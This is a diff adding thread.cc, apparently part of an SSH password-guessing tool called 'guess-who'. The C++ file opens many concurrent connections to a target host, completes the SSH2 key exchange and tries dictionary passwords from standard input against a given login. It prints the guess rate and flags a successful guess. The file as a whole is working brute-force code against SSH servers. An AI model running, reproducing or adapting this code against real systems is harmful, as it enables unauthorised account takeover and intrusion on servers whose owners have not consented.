diff options
Diffstat (limited to 'other/guess-who/thread.cc')
| -rw-r--r-- | other/guess-who/thread.cc | 223 |
1 files changed, 223 insertions, 0 deletions
diff --git a/other/guess-who/thread.cc b/other/guess-who/thread.cc new file mode 100644 index 0000000..c12d5d9 --- /dev/null +++ b/other/guess-who/thread.cc | |||
| @@ -0,0 +1,223 @@ | |||
| 1 | /* | ||
| 2 | * Copyright (C) 2002 Sebastian Krahmer. | ||
| 3 | * All rights reserved. | ||
| 4 | * | ||
| 5 | * Redistribution and use in source and binary forms, with or without | ||
| 6 | * modification, are permitted provided that the following conditions | ||
| 7 | * are met: | ||
| 8 | * 1. Redistributions of source code must retain the above copyright | ||
| 9 | * notice, this list of conditions and the following disclaimer. | ||
| 10 | * 2. Redistributions in binary form must reproduce the above copyright | ||
| 11 | * notice, this list of conditions and the following disclaimer in the | ||
| 12 | * documentation and/or other materials provided with the distribution. | ||
| 13 | * 3. All advertising materials mentioning features or use of this software | ||
| 14 | * must display the following acknowledgement: | ||
| 15 | * This product includes software developed by Sebastian Krahmer. | ||
| 16 | * 4. The name Sebastian Krahmer may not be used to endorse or promote | ||
| 17 | * products derived from this software without specific prior written | ||
| 18 | * permission. | ||
| 19 | * | ||
| 20 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY | ||
| 21 | * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE | ||
| 22 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE | ||
| 23 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE | ||
| 24 | * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL | ||
| 25 | * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS | ||
| 26 | * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) | ||
| 27 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT | ||
| 28 | * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY | ||
| 29 | * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF | ||
| 30 | * SUCH DAMAGE. | ||
| 31 | */ | ||
| 32 | #include <stdio.h> | ||
| 33 | #include <sys/types.h> | ||
| 34 | #include <pthread.h> | ||
| 35 | #include <list> | ||
| 36 | #include <unistd.h> | ||
| 37 | #include <iostream> | ||
| 38 | #include <time.h> | ||
| 39 | #include <sys/time.h> | ||
| 40 | #include <errno.h> | ||
| 41 | #include "thread.h" | ||
| 42 | #include "ssh.h" | ||
| 43 | #include "misc.h" | ||
| 44 | |||
| 45 | |||
| 46 | using namespace std; | ||
| 47 | |||
| 48 | list<int> creater::slist; | ||
| 49 | pthread_mutex_t creater::slist_lock = PTHREAD_MUTEX_INITIALIZER; | ||
| 50 | pthread_cond_t creater::slist_max_cond = PTHREAD_COND_INITIALIZER; | ||
| 51 | pthread_cond_t creater::slist_min_cond = PTHREAD_COND_INITIALIZER; | ||
| 52 | |||
| 53 | pthread_mutex_t dictionary_lock = PTHREAD_MUTEX_INITIALIZER; | ||
| 54 | pthread_mutex_t output_lock = PTHREAD_MUTEX_INITIALIZER; | ||
| 55 | int j = 0; // number of tries | ||
| 56 | time_t now; | ||
| 57 | |||
| 58 | int creater::create_connection() | ||
| 59 | { | ||
| 60 | int sock = tcp_connect(host.c_str(), port); | ||
| 61 | if (sock < 0) | ||
| 62 | cerr<<strerror(errno)<<endl; | ||
| 63 | pthread_mutex_lock(&slist_lock); | ||
| 64 | slist.push_back(sock); | ||
| 65 | // printf("P%d %d\n", slist.size(), max_connections); | ||
| 66 | while (slist.size() > max_connections) { | ||
| 67 | // printf("SLEEP1\n"); | ||
| 68 | pthread_cond_wait(&slist_max_cond, &slist_lock); | ||
| 69 | } | ||
| 70 | if (slist.size() == 1) | ||
| 71 | pthread_cond_signal(&slist_min_cond); | ||
| 72 | pthread_mutex_unlock(&slist_lock); | ||
| 73 | return 0; | ||
| 74 | } | ||
| 75 | |||
| 76 | |||
| 77 | int creater::consume_connection() | ||
| 78 | { | ||
| 79 | pthread_mutex_lock(&slist_lock); | ||
| 80 | while (slist.size() == 0) { | ||
| 81 | // printf("SLEEP2\n"); | ||
| 82 | pthread_cond_wait(&slist_min_cond, &slist_lock); | ||
| 83 | } | ||
| 84 | // printf("C%d\n", slist.size()); | ||
| 85 | int sock = *slist.begin(); | ||
| 86 | slist.erase(slist.begin()); | ||
| 87 | if (slist.size() == max_connections) | ||
| 88 | pthread_cond_signal(&slist_max_cond); | ||
| 89 | |||
| 90 | pthread_mutex_unlock(&slist_lock); | ||
| 91 | return sock; | ||
| 92 | } | ||
| 93 | |||
| 94 | |||
| 95 | void *producer_thread(void *vp) | ||
| 96 | { | ||
| 97 | thread_data *td = (thread_data*)vp; | ||
| 98 | creater c(td->host, td->port); | ||
| 99 | |||
| 100 | for (;;) | ||
| 101 | c.create_connection(); | ||
| 102 | return NULL; | ||
| 103 | } | ||
| 104 | |||
| 105 | |||
| 106 | void *consumer_thread(void *vp) | ||
| 107 | { | ||
| 108 | thread_data *td = (thread_data*)vp; | ||
| 109 | creater c(td->host, td->port); | ||
| 110 | SSH2 *ssh; | ||
| 111 | string pwd; | ||
| 112 | int i, r; | ||
| 113 | struct timeval tv; | ||
| 114 | |||
| 115 | for (;;) { | ||
| 116 | ssh = new SSH2; | ||
| 117 | ssh->set_socket(c.consume_connection()); | ||
| 118 | if (ssh->banner_exchange() < 0) { | ||
| 119 | //fprintf(stderr, "%s\n", ssh->why()); | ||
| 120 | goto retry; | ||
| 121 | } | ||
| 122 | if (ssh->kex_init() < 0) { | ||
| 123 | cerr<<ssh->why()<<endl; | ||
| 124 | goto retry; | ||
| 125 | } | ||
| 126 | if (ssh->dh_exchange() < 0) { | ||
| 127 | cerr<<ssh->why()<<endl; | ||
| 128 | goto retry; | ||
| 129 | } | ||
| 130 | if (ssh->newkeys() < 0) { | ||
| 131 | cerr<<ssh->why()<<endl; | ||
| 132 | goto retry; | ||
| 133 | } | ||
| 134 | |||
| 135 | for (i = 0; i < td->tries; ++i) { | ||
| 136 | pthread_mutex_lock(&dictionary_lock); | ||
| 137 | ++j; | ||
| 138 | if (!(cin>>pwd)) | ||
| 139 | break; | ||
| 140 | pthread_mutex_unlock(&dictionary_lock); | ||
| 141 | r=ssh->userauth_passwd(td->login.c_str(), pwd.c_str()); | ||
| 142 | gettimeofday(&tv, NULL); | ||
| 143 | pthread_mutex_lock(&output_lock); | ||
| 144 | printf("\r[ %05d ][ %05d ][ %015f ]"\ | ||
| 145 | "[ %8s ][ %15s ]\r", j, (int)(tv.tv_sec - now), | ||
| 146 | (double)j/(double)(tv.tv_sec-now+0.001), | ||
| 147 | td->login.c_str(), pwd.c_str()); | ||
| 148 | if (r == 0) | ||
| 149 | printf(" (!)\n\a"); | ||
| 150 | if (r < 0) { | ||
| 151 | //cerr<<"Too fast?\n"; | ||
| 152 | i = td->tries; | ||
| 153 | } | ||
| 154 | pthread_mutex_unlock(&output_lock); | ||
| 155 | } | ||
| 156 | retry: | ||
| 157 | close(ssh->get_socket()); | ||
| 158 | delete ssh; | ||
| 159 | } | ||
| 160 | return NULL; | ||
| 161 | } | ||
| 162 | |||
| 163 | |||
| 164 | void *single_try(void *vp) | ||
| 165 | { | ||
| 166 | thread_data *td = (thread_data*)vp; | ||
| 167 | SSH2 *ssh; | ||
| 168 | int i, r; | ||
| 169 | string pwd; | ||
| 170 | struct timeval tv; | ||
| 171 | |||
| 172 | for (;;) { | ||
| 173 | ssh = new SSH2; | ||
| 174 | r = tcp_connect(td->host.c_str(), td->port); | ||
| 175 | if (r < 0) | ||
| 176 | goto retry; | ||
| 177 | ssh->set_socket(r); | ||
| 178 | if (ssh->banner_exchange() < 0) { | ||
| 179 | //fprintf(stderr, "%s\n", ssh->why()); | ||
| 180 | goto retry; | ||
| 181 | } | ||
| 182 | if (ssh->kex_init() < 0) { | ||
| 183 | cerr<<ssh->why()<<endl; | ||
| 184 | goto retry; | ||
| 185 | } | ||
| 186 | if (ssh->dh_exchange() < 0) { | ||
| 187 | cerr<<ssh->why()<<endl; | ||
| 188 | goto retry; | ||
| 189 | } | ||
| 190 | if (ssh->newkeys() < 0) { | ||
| 191 | cerr<<ssh->why()<<endl; | ||
| 192 | goto retry; | ||
| 193 | } | ||
| 194 | |||
| 195 | for (i = 0; i < td->tries; ++i) { | ||
| 196 | pthread_mutex_lock(&dictionary_lock); | ||
| 197 | ++j; | ||
| 198 | if (!(cin>>pwd)) | ||
| 199 | break; | ||
| 200 | pthread_mutex_unlock(&dictionary_lock); | ||
| 201 | r=ssh->userauth_passwd(td->login.c_str(), pwd.c_str()); | ||
| 202 | gettimeofday(&tv, NULL); | ||
| 203 | pthread_mutex_lock(&output_lock); | ||
| 204 | printf("\r[ %05d ][ %05d ][ %015f ]"\ | ||
| 205 | "[ %8s ][ %15s ]\r", j, (int)(tv.tv_sec - now), | ||
| 206 | (double)j/(double)(tv.tv_sec-now+0.001), | ||
| 207 | td->login.c_str(), pwd.c_str()); | ||
| 208 | if (r == 0) | ||
| 209 | printf(" (!)\n\a"); | ||
| 210 | if (r < 0) { | ||
| 211 | //cerr<<"Too fast?\n"; | ||
| 212 | i = td->tries; | ||
| 213 | } | ||
| 214 | pthread_mutex_unlock(&output_lock); | ||
| 215 | } | ||
| 216 | retry: | ||
| 217 | close(ssh->get_socket()); | ||
| 218 | delete ssh; | ||
| 219 | } | ||
| 220 | return NULL; | ||
| 221 | } | ||
| 222 | |||
| 223 | |||
